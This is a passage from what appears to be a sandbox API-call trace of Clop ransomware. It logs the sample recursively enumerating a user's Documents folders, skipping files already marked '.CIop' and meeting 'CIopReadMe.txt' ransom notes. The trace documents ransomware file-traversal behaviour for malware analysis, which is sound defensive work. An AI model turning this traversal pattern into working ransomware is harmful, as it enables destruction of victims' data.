(lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0128.238] lstrlenW (lpString=".CIop") returned 5 [0128.238] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.238] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0128.238] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0128.238] lstrlenW (lpString=".CIop") returned 5 [0128.238] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.238] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0128.238] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0128.238] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0128.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0128.239] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67def8 [0128.239] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0128.239] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0128.239] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.239] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.239] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.239] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.239] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.239] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 1 [0128.239] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 0 [0128.239] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.239] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.239] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.239] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.239] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0128.239] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0128.239] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.239] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.239] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0128.239] SetErrorMode (uMode=0x1) returned 0x1 [0128.239] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0128.239] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0128.239] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0128.239] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0128.239] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.240] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0128.240] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.240] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.240] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0128.240] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0128.240] lstrlenW (lpString=".CIop") returned 5 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.240] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.240] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.240] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0128.240] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0128.240] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.240] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0128.240] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.240] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.240] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.240] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.241] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.241] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.241] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.241] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0128.241] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0128.241] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0128.241] SetErrorMode (uMode=0x1) returned 0x1 [0128.241] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0128.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0128.241] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0128.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0128.241] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.241] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0128.241] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0128.241] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.241] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.241] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.241] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.241] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.241] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.241] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0128.241] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0128.241] lstrlenW (lpString=".CIop") returned 5 [0128.241] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.241] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.241] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.241] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.241] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0128.241] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0128.241] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.242] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0128.242] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0128.242] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.242] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.242] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.242] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0128.242] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0128.242] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0128.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0128.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.242] SetErrorMode (uMode=0x1) returned 0x1 [0128.242] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.242] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0128.242] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0128.242] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0128.242] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.242] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0128.242] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0128.242] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0128.242] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0128.243] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0128.243] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0128.243] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.243] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.243] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.243] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0128.243] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0128.243] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0128.243] SetErrorMode (uMode=0x1) returned 0x1 [0128.243] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0128.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0128.243] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0128.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0128.243] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0128.243] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0128.243] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0128.243] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0128.243] lstrlenW (lpString=".CIop") returned 5 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.243] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.243] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0128.243] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0128.243] lstrlenW (lpString=".CIop") returned 5 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.243] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0128.243] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0128.243] lstrlenW (lpString=".CIop") returned 5 [0128.243] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.243] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.244] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.244] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") 